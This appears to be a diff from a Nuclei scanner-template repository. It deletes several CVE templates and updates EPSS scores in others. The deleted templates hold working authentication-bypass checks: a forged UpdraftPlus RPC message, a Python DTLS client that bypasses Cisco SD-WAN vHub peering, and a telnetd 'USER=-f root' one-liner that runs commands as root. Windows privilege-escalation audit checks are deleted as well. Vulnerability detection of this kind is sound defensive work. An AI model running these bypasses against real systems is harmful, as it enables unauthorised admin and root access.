-    UpdraftPlus WP Backup & Migration Plugin for WordPress <= 1.26.4 contains an authentication bypass caused by insufficient validation in UpdraftPlus_Remote_Communications_V2::wp_loaded, letting unauthenticated attackers execute arbitrary RPC commands as admin, exploit requires no authentication.
-  impact: |
-    Unauthenticated attackers can execute arbitrary commands as admin, leading to remote code execution and full site compromise.
-  remediation: |
-    Update to the latest version of UpdraftPlus WP Backup & Migration Plugin.
-  reference:
-    - https://patchstack.com/database/vulnerability/wordpress-updraftplus-wp-backup-migration-plugin-1-26-4-unauthenticated-authentication-bypass-via-updraftcentral-udrpc-vulnerability
-    - https://teamupdraft.com/blog/important-security-update-for-updraftplus-and-updraftcentral-users/
-    - https://nvd.nist.gov/vuln/detail/CVE-2026-10795
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
-    cvss-score: 8.1
-    cve-id: CVE-2026-10795
-    epss-score: 0.03578
-    epss-percentile: 0.88
-    cwe-id: CWE-347
-  metadata:
-    max-request: 2
-    verified: true
-    shodan-query: http.html:"updraftplus"
-    fofa-query: body="/wp-content/plugins/updraftplus"
-  tags: cve,cve2026,wordpress,wp-plugin,updraftplus,auth-bypass,vkev
-
-code:
-  - engine:
-      - sh
-
-    source: |
-      #!/bin/sh
-      KEY_NAME="0.central.updraftplus.com"
-      TIMESTAMP=$(date +%s)
-      RAND=424243
-      JSON="{\"command\":\"users.get_users\",\"time\":${TIMESTAMP},\"key_name\":\"${KEY_NAME}\",\"rand\":${RAND},\"data\":{\"paged\":1,\"per_page\":50}}"
-      CT_B64=$(printf '%s' "$JSON" | openssl enc -aes-128-cbc -K 00000000000000000000000000000000 -iv 00000000000000000000000000000000 -base64 -A)
-      RSA_B64=$(dd if=/dev/zero bs=256 count=1 2>/dev/null | base64 | tr -d '\n')
-      RSA_LEN=$(printf '%03x' ${#RSA_B64})
-      CT_LEN=$(printf '%016x' ${#CT_B64})
-      UDRPC_MSG="${RSA_LEN}${RSA_B64}${CT_LEN}${CT_B64}"
-      ENCODED_MSG=$(printf '%s' "$UDRPC_MSG" | sed 's/+/%2B/g; s/\//%2F/g; s/=/%3D/g')
-      printf 'format=1&key_name=%s&udrpc_message=%s' "$KEY_NAME" "$ENCODED_MSG"
-
-http:
-  - raw:
-      - |
-        GET /wp-content/plugins/updraftplus/readme.txt HTTP/1.1
-        Host: {{Hostname}}
-
-    matchers:
-      - type: dsl
-        dsl:
-          - 'status_code == 200'
-          - 'contains(body, "UpdraftPlus")'
-          - 'compare_versions(version, "<= 1.26.4")'
-        condition: and
-        internal: true
-
-    extractors:
-      - type: regex
-        name: version
-        part: body
-        group: 1
-        regex:
-          - "(?i)Stable tag:\\s*([\\d.]+)"
-        internal: true
-
-  - raw:
-      - |
-        POST / HTTP/1.1
-        Host: {{Hostname}}
-        Content-Type: application/x-www-form-urlencoded
-
-        {{code_response}}
-
-    matchers-condition: and
-    matchers:
-      - type: dsl
-        dsl:
-          - 'status_code == 200'
-          - 'contains(body, "\"udrpc_message\":\"")'
-        condition: and
-# digest: 4a0a00473045022100a881b582fed632f80412c76035e841db6494221b4f102f999bad2faddc3da3fb02204c4daa0834d7e0f354be0bab3c44eceafe0a2bd76d77e86fa6fcdd94188ae214:922c64590222798bb761d5b6d8e72950
@@ -1,275 +0,0 @@
-id: CVE-2026-20182
-
-info:
-  name: Cisco Catalyst SD-WAN Controller - vHub Authentication Bypass
-  author: sfewer-r7,Crypto-Cat,pussycat0x,DhiyaneshDk
-  severity: critical
-  description: |
-    Cisco Catalyst SD-WAN Controller and Manager contain an authentication bypass caused by improper peering authentication mechanism, letting unauthenticated remote attackers obtain administrative privileges, exploit requires sending crafted requests.
-  remediation: |
-    Update to the latest fixed version as per Cisco advisory.
-  impact: |
-    Unauthenticated attackers can gain administrative access and manipulate network configurations, risking full control of the SD-WAN fabric.
-  reference:
-    - https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-rpa2-v69WY2SW
-    - https://blog.talosintelligence.com/sd-wan-ongoing-exploitation/
-    - https://www.rapid7.com/blog/post/ve-cve-2026-20182-critical-authentication-bypass-cisco-catalyst-sd-wan-controller-fixed/
-    - https://nvd.nist.gov/vuln/detail/CVE-2026-20182
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
-    cvss-score: 10.0
-    cve-id: CVE-2026-20182
-    epss-score: 0.87693
-    epss-percentile: 0.99738
-    cwe-id: CWE-287
-    cpe: cpe:2.3:a:cisco:catalyst_sd-wan_controller:*:*:*:*:*:*:*:*
-  metadata:
-    verified: true
-    max-request: 1
-    vendor: cisco
-    product: catalyst_sd-wan_controller
-    shodan-query: port:12346 product:"Cisco SD-WAN"
-    fofa-query: port="12346" && product="Cisco SD-WAN"
-  tags: cve,cve2026,cisco,sdwan,auth-bypass,network,critical,kev,vuln,vkev
-
-variables:
-  HOST: "{{Host}}"
-  PORT: "{{Port}}"
-
-code:
-  - engine:
-      - py
-      - python3
-
-    source: |
-      import os
-      import struct
-      import socket
-      import subprocess
-      import time
-      import select
-      import secrets
-      import tempfile
-      import shutil
-
-      MSG_HELLO         = 0x05
-      MSG_CHALLENGE     = 0x08
-      MSG_CHALLENGE_ACK = 0x09
-      MSG_TEAR_DOWN     = 0x0B
-
-      DEV_VHUB  = 2
-      HDR_FLAGS = 0xA0
-      DOMAIN_ID = 1
-      SITE_ID   = 100
-
-      MSG_NAMES = {
-          0x05: "Hello",
-          0x08: "CHALLENGE",
-          0x09: "CHALLENGE_ACK",
-          0x0B: "TEAR_DOWN",
-          0x0D: "REGISTER_TO_VMANAGE",
-          0x0E: "VMANAGE_TO_PEER",
-      }
-
-      def build_header(msg_type):
-          byte0 = msg_type & 0x0F
-          byte1 = (DEV_VHUB & 0x0F) << 4
-          return struct.pack(">BBBBII", byte0, byte1, HDR_FLAGS, 0x00,
-                             DOMAIN_ID, SITE_ID)
-
-      def hdr_msg_type(data):
-          return data[0] & 0x0F if data else None
-
-      def build_tlv(tlv_type, value):
-          if isinstance(value, str):
-              value = value.encode()
-          return struct.pack(">HH", tlv_type, len(value)) + value
-
-      def build_challenge_ack_body():
-          uuid_str   = secrets.token_hex(16)
-          server_key = secrets.token_hex(16)
-
-          tlvs  = build_tlv(0x0013, struct.pack(">H", 0))
-          tlvs += build_tlv(0x0014, struct.pack(">H", 1))
-          tlvs += build_tlv(0x0018, struct.pack(">B", 1))
-          tlvs += build_tlv(0x0019, struct.pack(">B", 0))
-          tlvs += build_tlv(0x0006, uuid_str)
-          tlvs += build_tlv(0x0032, server_key)
-
-          body  = struct.pack(">BB", 0, 0)
-          body += struct.pack(">B", 6)
-          body += tlvs
-          return body
-
-      def build_hello_body(port):
-          body  = struct.pack(">BBBB", 0x00, 0x00, 0x00, 0x00)
-          body += struct.pack(">H", 2)
-          body += socket.inet_aton("127.0.0.1")
-          body += struct.pack(">H", port)
-          body += struct.pack(">I", 1)
-          body += b"\x00" * 20
-          body += struct.pack(">II", 10000, 60000)
-          body += struct.pack(">B", 2)
-          body += build_tlv(0x0021, struct.pack(">B", 0))
-          body += build_tlv(0x0022, struct.pack(">B", 0))
-          return body
-
-      def generate_self_signed_cert():
-          tmpdir = tempfile.mkdtemp(prefix="nuclei_sdwan_")
-          cert_path = os.path.join(tmpdir, "cert.pem")
-          key_path  = os.path.join(tmpdir, "key.pem")
-
-          result = subprocess.run(
-              [
-                  "openssl", "req", "-x509", "-newkey", "rsa:2048",
-                  "-keyout", key_path,
-                  "-out",    cert_path,
-                  "-days",   "1",
-                  "-nodes",
-                  "-subj",   "/CN=nuclei/O=nuclei/C=US",
-                  "-quiet",
-              ],
-              capture_output=True,
-              timeout=15,
-          )
-          if result.returncode != 0:
-              return None, None, tmpdir
-          return cert_path, key_path, tmpdir
-
-      def dtls_connect(host, port, cert_path, key_path):
-          cmd = [
-              "openssl", "s_client",
-              "-dtls1_2",
-              "-connect", f"{host}:{port}",
-              "-cert",    cert_path,
-              "-key",     key_path,
-              "-no_ign_eof",
-              "-quiet",
-          ]
-          return subprocess.Popen(
-              cmd,
-              stdin=subprocess.PIPE,
-              stdout=subprocess.PIPE,
-              stderr=subprocess.PIPE,
-          )
-
-      def wait_for_data(fd, timeout_sec):
-          ready, _, _ = select.select([fd], [], [], timeout_sec)
-          if not ready:
-              return None
-          try:
-              data = os.read(fd.fileno(), 65536)
-              return data if data else None
-          except OSError:
-              return None
-
-      def send_message(proc, msg_type, body=b""):
-          message = build_header(msg_type) + body
-          try:
-              proc.stdin.write(message)
-              proc.stdin.flush()
-              return True
-          except (BrokenPipeError, OSError):
-              return False
-
-      def recv_message(proc, timeout_sec=10):
-          data = wait_for_data(proc.stdout, timeout_sec)
-          if not data or len(data) < 12:
-              return None, None
-          return data[:12], data[12:]
-
-      def check_vulnerability(host, port):
-          target = f"{host}:{port}"
-          print(f"[*] Testing target: {target}")
-
-          cert_path, key_path, tmpdir = generate_self_signed_cert()
-          if not cert_path:
-              print("[-] Certificate generation failed")
-              return False
-
-          proc = None
-          try:
-              proc = dtls_connect(host, port, cert_path, key_path)
-              time.sleep(3)
-
-              if proc.poll() is not None:
-                  print("[-] DTLS handshake failed")
-                  return False
-
-              hdr, _ = recv_message(proc, timeout_sec=12)
-              if hdr is None:
-                  print("[-] No CHALLENGE received")
-                  return False
-
-              msg_type = hdr_msg_type(hdr)
-              if msg_type != MSG_CHALLENGE:
-                  name = MSG_NAMES.get(msg_type, f"0x{msg_type:02X}")
-                  print(f"[-] Unexpected message type: {name}")
-                  return False
-
-              if not send_message(proc, MSG_CHALLENGE_ACK, build_challenge_ack_body()):
-                  print("[-] Failed to send CHALLENGE_ACK")
-                  return False
-
-              hdr, _ = recv_message(proc, timeout_sec=8)
-              if hdr is not None and hdr_msg_type(hdr) == MSG_TEAR_DOWN:
-                  print("[-] Server sent TEAR_DOWN — not vulnerable")
-                  return False
-
-              if not send_message(proc, MSG_HELLO, build_hello_body(port)):
-                  print(f"VULNERABLE: {target}")
-                  return True
-
-              hdr, _ = recv_message(proc, timeout_sec=8)
-              if hdr is not None:
-                  msg_type = hdr_msg_type(hdr)
-                  if msg_type == MSG_TEAR_DOWN:
-                      print("[-] Server sent TEAR_DOWN after Hello — not vulnerable")
-                      return False
-                  print(f"VULNERABLE: {target}")
-                  return True
-
-              print(f"VULNERABLE: {target}")
-              return True
-
-          except subprocess.TimeoutExpired:
-              print("[-] Operation timed out")
-              return False
-          except Exception as e:
-              print(f"[-] Error: {e}")
-              return False
-          finally:
-              if proc:
-                  try:
-                      proc.terminate()
-                      proc.wait(timeout=3)
-                  except Exception:
-                      try:
-                          proc.kill()
-                      except Exception:
-                          pass
-              shutil.rmtree(tmpdir, ignore_errors=True)
-
-      if __name__ == "__main__":
-          host = os.getenv("Host")
-          port = os.getenv("Port", "12346")
-
-          if not host:
-              print("Host environment variable not set")
-              exit(1)
-
-          try:
-              port = int(port)
-          except ValueError:
-              port = 12346
-
-          if check_vulnerability(host, port):
-              print("VULNERABLE: vHub CHALLENGE_ACK authentication bypass confirmed")
-          else:
-              print("Target appears to be patched or not Cisco SD-WAN vdaemon")
-
-    matchers:
-      - type: word
-        words:
-          - "VULNERABLE:"
-# digest: 4a0a004730450220127e8b7b1bd730a8383479424cc229fed8fac958ae28c20c10d456bf9d083e38022100c4851e5ca05359bac2cd2824c20fb649a60295365f456fb3b4bbd7025a24d7b4:922c64590222798bb761d5b6d8e72950
@@ -1,52 +0,0 @@
-id: CVE-2026-24061
-
-info:
-  name: GNU Inetutils telnetd - Authentication Bypass
-  author: pussycat0x
-  severity: critical
-  description: |
-    GNU Inetutils telnetd through 2.7 contains an authentication bypass caused by setting the USER environment variable to \"-f root\", letting remote attackers bypass authentication, exploit requires remote access to telnetd service.
-  remediation: |
-    Update to a version later than 2.7 or the latest available version.
-  impact: |
-    Remote attackers can bypass authentication, gaining unauthorized root access to the system.
-  reference:
-    - https://github.com/vulhub/vulhub/tree/master/inetutils/CVE-2026-24061
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
-    cvss-score: 9.8
-    cve-id: CVE-2026-24061
-    cwe-id: CWE-88
-    epss-score: 0.98871
-    epss-percentile: 0.99921
-  metadata:
-    verified: true
-    max-request: 1
-    vendor: gnu
-    product: inetutils
-    shodan-query: port:23 telnet
-    fofa-query: port="23" && protocol="telnet"
-  tags: cve,cve2026,telnet,auth-bypass,rce,code,kev,vkev
-
-code:
-  - engine:
-      - sh
-      - bash
-
-    source: |
-      (sleep 2; echo "id"; sleep 2) | USER="-f root" telnet -a $Host $Port
-
-    matchers-condition: and
-    matchers:
-      - type: regex
-        part: response
-        regex:
-          - 'uid=[0-9]+\([a-zA-Z0-9_-]+\)\s*gid=[0-9]+\([a-zA-Z0-9_-]+\)'
-
-      - type: word
-        part: response
-        words:
-          - "Last login"
-          - "Debian"
-        condition: and
-# digest: 4a0a00473045022011e8f400bf49429ac73ecf3a1f1dc2817f6fadacdcb9261415593da1ae6601b6022100c8f61b1763bb1cabbc7fbeba9931e06ff1ea95b16f402f17db5554e63740b0c2:922c64590222798bb761d5b6d8e72950
@@ -1,142 +0,0 @@
-id: CVE-2026-31431
-
-info:
-  name: Copy Fail - Linux Kernel Local Privilege Escalation via AF_ALG
-  author: ritikchaddha
-  severity: high
-  description: |
-    In the Linux kernel, the following vulnerability has been resolved: crypto: algif_aead - Revert to operating out-of-place This mostly reverts commit 72548b093ee3 except for the copying of the associated data. There is no benefit in operating in-place in algif_aead since the source and destination come from different mappings. Get rid of all the complexity added for in-place operation and just copy the AD directly.
-  impact: |
-    A local attacker can escalate from any unprivileged user to root. The exploit:
-  remediation: |
-    Update the Linux kernel to a patched version. Upstream: 6.18.22+, 6.19.12+, 7.0+, LTS backports: 6.14.5+, 6.13.13+, 6.12.25+, 6.6.87+, 6.1.137+. If immediate patching is not possible, disable or blacklist the algif_aead kernel module
-  reference:
-    - https://discourse.ubuntu.com/t/fixes-available-for-cve-2026-31431-copy-fail-linux-kernel-local-privilege-escalation-vulnerability/81498
-    - https://cert.europa.eu/publications/security-advisories/2026-005
-    - https://xint.io/blog/copy-fail-linux-distributions
-    - https://nvd.nist.gov/vuln/detail/CVE-2026-31431
-  classification:
-    cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
-    cvss-score: 7.8
-    cve-id: CVE-2026-31431
-    epss-score: 0.96267
-    epss-percentile: 0.9987
-    cwe-id: CWE-787
-    cpe: cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*
-  metadata:
-    verified: true
-    max-request: 3
-    vendor: linux
-    product: linux_kernel
-  tags: cve,cve2026,code,kernel,linux,privesc,local,lpe,kev,vkev,vuln
-
-self-contained: true
-
-flow: code(1) && code(2) && code(3)
-
-code:
-  - engine:
-      - sh
-      - bash
-    source: |
-      whoami
-
-    matchers:
-      - type: word
-        part: response
-        words:
-          - "root"
-        negative: true
-        internal: true
-
-  - engine:
-      - sh
-      - bash
-    source: |
-      uname -r
-
-    extractors:
-      - type: regex
-        name: kernel_version
-        part: response
-        regex:
-          - '^[0-9]+\.[0-9]+\.[0-9]+'
-        internal: true
-
-  - engine:
-      - sh
-      - bash
-    source: |
-      KVER=$(uname -r)
-      MAJOR=$(echo "$KVER" | cut -d. -f1)
-      MINOR=$(echo "$KVER" | cut -d. -f2)
-      PATCH=$(echo "$KVER" | cut -d. -f3 | cut -d- -f1)
-      VULNERABLE=0
-
-      # Check if algif_aead module is loaded or built-in (required attack surface)
-      AEAD_PRESENT=0
-      if lsmod 2>/dev/null | grep -q "algif_aead"; then
-        AEAD_PRESENT=1
-      elif [ -f /proc/modules ] && grep -q "algif_aead" /proc/modules 2>/dev/null; then
-        AEAD_PRESENT=1
-      elif [ -f "/lib/modules/$KVER/kernel/crypto/algif_aead.ko" ] || \
-           [ -f "/lib/modules/$KVER/kernel/crypto/algif_aead.ko.zst" ] || \
-           [ -f "/lib/modules/$KVER/kernel/crypto/algif_aead.ko.xz" ]; then
-        AEAD_PRESENT=1
-      elif [ -f "/boot/config-$KVER" ] && grep -q "Cy" "/boot/config-$KVER" 2>/dev/null; then
-        AEAD_PRESENT=1
-      elif [ -f /proc/config.gz ] && zcat /proc/config.gz 2>/dev/null | grep -q "Cy"; then
-        AEAD_PRESENT=1
-      fi
-
-      # Introduced in ~4.14 (commit 72548b093ee3). Patched upstream: 6.18.22, 6.19.12, 7.0+
-      # LTS backports: 6.14.5, 6.13.13, 6.12.25, 6.6.87, 6.1.137
-      if [ "$MAJOR" -eq 4 ] && [ "$MINOR" -ge 14 ]; then
-        VULNERABLE=1
-      elif [ "$MAJOR" -eq 5 ]; then
-        VULNERABLE=1
-      elif [ "$MAJOR" -eq 6 ]; then
-        if [ "$MINOR" -le 0 ]; then VULNERABLE=1
-        elif [ "$MINOR" -eq 1 ] && [ "$PATCH" -le 136 ]; then VULNERABLE=1
-        elif [ "$MINOR" -ge 2 ] && [ "$MINOR" -le 5 ]; then VULNERABLE=1
-        elif [ "$MINOR" -eq 6 ] && [ "$PATCH" -le 86 ]; then VULNERABLE=1
-        elif [ "$MINOR" -ge 7 ] && [ "$MINOR" -le 11 ]; then VULNERABLE=1
-        elif [ "$MINOR" -eq 12 ] && [ "$PATCH" -le 24 ]; then VULNERABLE=1
-        elif [ "$MINOR" -eq 13 ] && [ "$PATCH" -le 12 ]; then VULNERABLE=1
-        elif [ "$MINOR" -eq 14 ] && [ "$PATCH" -le 4 ]; then VULNERABLE=1
-        elif [ "$MINOR" -ge 15 ] && [ "$MINOR" -le 17 ]; then VULNERABLE=1
-        elif [ "$MINOR" -eq 18 ] && [ "$PATCH" -le 21 ]; then VULNERABLE=1
-        elif [ "$MINOR" -eq 19 ] && [ "$PATCH" -le 11 ]; then VULNERABLE=1
-        fi
-      fi
-
-      if [ "$VULNERABLE" -eq 1 ]; then
-        if [ "$AEAD_PRESENT" -eq 1 ]; then
-          echo "VULNERABLE: kernel $KVER - algif_aead module present, version in affected range"
-        else
-          echo "VULNERABLE: kernel $KVER - version in affected range (algif_aead module status unknown, may be loadable)"
-        fi
-      else
-        echo "NOT_VULNERABLE: kernel $KVER"
-      fi
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        part: response
-        words:
-          - "VULNERABLE:"
-
-      - type: word
-        part: response
-        words:
-          - "NOT_VULNERABLE"
-        negative: true
-
-    extractors:
-      - type: regex
-        name: detection_detail
-        part: response
-        regex:
-          - 'VULNERABLE:.*'
-# digest: 4a0a00473045022100e058f2d5f55fad7a3fb789ff8f71e2fd5aa4ca8c22c1322f282bf8b2e00f6bf202204f95658677e444614a29df15e5f9a0d0d33bd6a0be8bcdc67189762700ed4455:922c64590222798bb761d5b6d8e72950
@@ -1,36 +0,0 @@
-id: default-admin-account-enabled
-
-info:
-  name: Default Administrator Account Enabled
-  author: boonchuan
-  severity: medium
-  description: |
-    Detected built-in Administrator account was enabled, which is a common target for brute-force and credential stuffing attacks.
-  impact: |
-    The default Administrator account has a well-known SID and is frequently targeted by attackers. Leaving it enabled increases the attack surface.
-  remediation: |
-    Disable the built-in Administrator account and use a separate named admin account for administrative tasks. Run: net user Administrator /active:no
-  reference:
-    - https://www.cyber.gov.au/acsc/view-all-content/publications/essential-eight-maturity-model
-    - https://learn.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts
-  metadata:
-    verified: false
-  tags: windows,admin,privileges,compliance,essential-eight,code,windows-audit
-
-code:
-  - pre-condition: |
-      IsWindows();
-    engine:
-      - powershell
-      - powershell.exe
-    args:
-      - -ExecutionPolicy
-      - Bypass
-    pattern: "*.ps1"
-    source: |
-      $admin = Get-LocalUser -Name 'Administrator' -ErrorAction SilentlyContinue; if ($admin -and $admin.Enabled) { 'True' } else { 'False' }
-    matchers:
-      - type: word
-        words:
-          - "True"
-# digest: 4a0a00473045022100f0b58e6b5a9b3631af0243f2f37b0b73fe428c208fd97eee1512c86e5ad67a0f02207f8e08fa3081b1e0b8b787e3dee5b2353a994b01ac1a861e1d73f58840f7e80d:922c64590222798bb761d5b6d8e72950
@@ -1,36 +0,0 @@
-id: office-macros-not-restricted
-
-info:
-  name: Microsoft Office Macros Not Restricted
-  author: boonchuan
-  severity: high
-  description: |
-    Detected Microsoft Office macro restrictions were not configured, increasing the risk of macro-based malware delivery through Office documents.
-  impact: |
-    Unrestricted macros allow attackers to deliver malware through Office documents, a common initial access vector.
-  remediation: |
-    Configure Group Policy to disable macros: User Configuration > Administrative Templates > Microsoft Office > Security > VBA Macro Notification Settings > Disable all without notification (VBAWarnings = 4).
-  reference:
-    - https://www.cyber.gov.au/acsc/view-all-content/publications/essential-eight-maturity-model
-    - https://learn.microsoft.com/en-us/deployoffice/security/internet-macros-blocked
-  metadata:
-    verified: false
-  tags: windows,office,macros,compliance,essential-eight,code,windows-audit
-
-code:
-  - pre-condition: |
-      IsWindows();
-    engine:
-      - powershell
-      - powershell.exe
-    args:
-      - -ExecutionPolicy
-      - Bypass
-    pattern: "*.ps1"
-    source: |
-      $apps = @('Word','Excel','PowerPoint'); $unrestricted = $false; foreach ($app in $apps) { $val = (Get-ItemProperty -Path "HKCU:\Software\Policies\Microsoft\Office\16.0\$app\Security" -Name 'VBAWarnings' -ErrorAction SilentlyContinue).VBAWarnings; if ($null -eq $val -or $val -lt 3) { $unrestricted = $true } }; if ($unrestricted) { 'True' } else { 'False' }
-    matchers:
-      - type: word
-        words:
-          - "True"
-# digest: 4b0a004830460221008ef29cc9a13f406e48ba33e113cbf16313826513c7902305714c9811dc0139c1022100cc65712090e08cf9ef85ce4eb684425d21c66c69b1193d2d287c60e03f725d69:922c64590222798bb761d5b6d8e72950
@@ -1,36 +0,0 @@
-id: windows-auto-update-disabled
-
-info:
-  name: Windows Automatic Updates Disabled
-  author: boonchuan
-  severity: high
-  description: |
-    Detected Windows automatic updates were found disabled, leaving the system vulnerable to unpatched security flaws.
-  impact: |
-    Systems without automatic updates will miss critical security patches, increasing exposure to known vulnerabilities and exploits.
-  remediation: |
-    Enable automatic updates via Group Policy: Computer Configuration > Administrative Templates > Windows Components > Windows Update > Configure Automatic Updates > set to Auto download and schedule install.
-  reference:
-    - https://www.cyber.gov.au/acsc/view-all-content/publications/essential-eight-maturity-model
-    - https://learn.microsoft.com/en-us/windows/deployment/update/waas-wu-settings
-  metadata:
-    verified: false
-  tags: windows,updates,patching,compliance,essential-eight,code,windows-audit
-
-code:
-  - pre-condition: |
-      IsWindows();
-    engine:
-      - powershell
-      - powershell.exe
-    args:
-      - -ExecutionPolicy
-      - Bypass
-    pattern: "*.ps1"
-    source: |
-      $au = Get-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU' -ErrorAction SilentlyContinue; if ($au -and $au.NoAutoUpdate -eq 1) { 'True' } else { 'False' }
-    matchers:
-      - type: word
-        words:
-          - "True"
-# digest: 4a0a00473045022100ddcd4a1983a75eff3d9837110072c2a1665f9a37f618a2b4dc10f82234608def02203f127fd2e6fc34706eac60ae681e29f33a0a099855daa983ca0a1e41ee2aeb37:922c64590222798bb761d5b6d8e72950
@@ -1,45 +0,0 @@
-id: unquoted-service-paths
-
-info:
-  name: Unquoted Service Paths
-  author: domwhewell-sage
-  severity: high
-  description: |
-    Detects windows services with unquoted paths that contain spaces. This misconfiguration can lead to local privilege escalation via execution of a malicious binary placed in the path.
-  reference:
-    - https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#unquoted-service-paths
-  metadata:
-    verified: true
-  tags: windows,services,code,windows-audit
-
-self-contained: true
-
-code:
-  - pre-condition: |
-      IsWindows();
-    engine:
-      - powershell
-      - powershell.exe
-    args:
-      - -ExecutionPolicy
-      - Bypass
-    pattern: "*.ps1"
-    source: |
-      # Get services using WMI
-      $services = Get-WmiObject -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select Name,DisplayName,StartMode,PathName
-
-      foreach ($service in $services) {
-        $path = $service.PathName
-        if ($path -match ' ') {
-          $binaryPath = $path.Split("/")[0]
-          if (Test-Path "$binaryPath") {
-            Write-Output "$($service.Name) : $path"
-          }
-        }
-      }
-
-    extractors:
-      - type: regex
-        regex:
-          - ".+ : .+"
-# digest: 4a0a00473045022100f56bd1f0edcd741e70fbf654856d27b0562811acf8fdad3ee4a42ba5bacd9b2a02205b50b582fa2e063a3c5357804231816991e6357fc4ebbc109910dc67dbede8bf:922c64590222798bb761d5b6d8e72950
@@ -1,67 +0,0 @@
-id: weak-service-binary-permissions
-
-info:
-  name: Weak Service Binary Permissions
-  author: domwhewell-sage
-  severity: high
-  description: |
-    Detects weak Windows service binary permissions that could allow non-administrative users to modify the service binary, potentially leading to local privilege escalation.
-  reference:
-    - https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#modify-service-binary-path
-  tags: windows,services,code,windows-audit,privesc
-
-self-contained: true
-
-code:
-  - pre-condition: |
-      IsWindows();
-    engine:
-      - powershell
-      - powershell.exe
-    args:
-      - -ExecutionPolicy
-      - Bypass
-    pattern: "*.ps1"
-    source: |
-      $services = Get-WmiObject -Class Win32_Service -Property Name, DisplayName, PathName, StartMode, StartName |
-        Where-Object { $_.PathName -and $_.PathName -notlike 'C:\Windows\*' }
-
-      foreach ($service in $services) {
-        $rawPath = $service.PathName.Trim()
-
-        # Extract binary path: handle quoted and unquoted paths with arguments
-        if ($rawPath.StartsWith('"')) {
-          $binaryPath = ($rawPath -split '"')[1]
-        } else {
-          $binaryPath = ($rawPath -split ' (?=-)')[0].Trim()
-          if (-not (Test-Path $binaryPath -ErrorAction SilentlyContinue)) {
-            $binaryPath = ($rawPath -split '\.exe')[0] + '.exe'
-          }
-        }
-
-        if (-not (Test-Path $binaryPath -ErrorAction SilentlyContinue)) { continue }
-
-        $acl = Get-Acl $binaryPath -ErrorAction SilentlyContinue
-        if (-not $acl) { continue }
-
-        foreach ($access in $acl.Access) {
-          $rights = $access.FileSystemRights.ToString()
-          $identity = $access.IdentityReference.ToString()
-
-          if ($rights -match "Write|FullControl|Modify" -and
-              $identity -notmatch "NT AUTHORITY\\SYSTEM|BUILTIN\\Administrators|NT AUTHORITY\\LOCAL SERVICE|NT AUTHORITY\\NETWORK SERVICE|TrustedInstaller") {
-            Write-Output "$identity can $rights the service binary at $binaryPath for service '$($service.Name)' running as '$($service.StartName)' on '$($service.StartMode)' mode"
-          }
-        }
-      }
-
-    matchers:
-      - type: word
-        words:
-          - "the service binary at"
-
-    extractors:
-      - type: regex
-        regex:
-          - ".+ the service binary at .+"
-# digest: 490a0046304402201a22dd84e886cd1a39b2410dcfc77f56c8e78046403233fec4e63a40e44cf3db02206c19c3eb4be47f3a4822d2f74f35d7343e70be7d437d386f8550023d040209de:922c64590222798bb761d5b6d8e72950
@@ -1519,15 +1519,5 @@
            "website": "https://halilkirazkaya.com",
            "email": "[email protected]"
        }
-    },
-    {
-        "author": "marcialpaulg",
-        "links": {
-            "github": "https://github.com/marcialpaulg",
-            "twitter": "",
-            "linkedin": "https://www.linkedin.com/in/marcialpaulg/",
-            "website": "https://marcialpaulg.com",
-            "email": "[email protected]"
-        }
    }
 ]
@@ -1 +1 @@
-f41fb6aca06836485c29dcab0865f337
+a8b801f33074a9e04262f936c387f799
@@ -20,8 +20,8 @@ info:
    cvss-score: 7.5
    cve-id: CVE-2018-19518
    cwe-id: CWE-88
-    epss-score: 0.9523
-    epss-percentile: 0.99855
+    epss-score: 0.93956
+    epss-percentile: 0.99875
  metadata:
    max-request: 1
    confidence: tenative
@@ -53,4 +53,4 @@ http:
        part: interactsh_request
        words:
          - "User-Agent: curl"
-# digest: 4a0a00473045022100d86e59a5a04ceb71e390ab7ecf4c585e967313ce0f42e028b272c05bf0fc74520220735e80e46260f014f03d7a0799e7dc4a7a11d60f5f2ca4f1235e1dfa8b9d455f:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402204f4a3a63f4af6c8cfd3b34e197234640291949ab4a5dd50b1c72893b7eae6e5702207c6f15f2681a87dfab1c9d616f10dfa6b7add5ca502cc181a341e68e9bd378ad:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 8.8
    cve-id: CVE-2020-9402
    cwe-id: CWE-89
-    epss-score: 0.22513
-    epss-percentile: 0.97426
+    epss-score: 0.81181
+    epss-percentile: 0.99124
    cpe: cpe:2.3:a:djangoproject:django:*:*:*:*:*:*:*:*
  metadata:
    vendor: djangoproject
@@ -54,4 +54,4 @@ http:
          - "ORA-06512:"
          - "Request Method:"
        condition: and
-# digest: 4b0a00483046022100caef44b2bae34bcce37ebeb77449f1b27ed74c5eacd107b4b28ac8ed5881bb700221009c4fd705cc2013bbce0ed193812e36132de56f6f0f58334fcec15e90686b66db:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220744772b1adca90468aaee2a07671941970b7e5c61e20c355c6cc783d5f3a0337022100fbe3cb55ab904fd44b1987947cd2b9aaaedbe01ba2d24816be1df3f3bba8e50c:922c64590222798bb761d5b6d8e72950
@@ -19,8 +19,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2021-35042
    cwe-id: CWE-89
-    epss-score: 0.44369
-    epss-percentile: 0.98609
+    epss-score: 0.35237
+    epss-percentile: 0.96903
  metadata:
    verified: true
    fofa-query: body="ProgrammingError" && body="ORDER BY"
@@ -44,10 +44,9 @@ http:
    matchers:
      - type: dsl
        dsl:
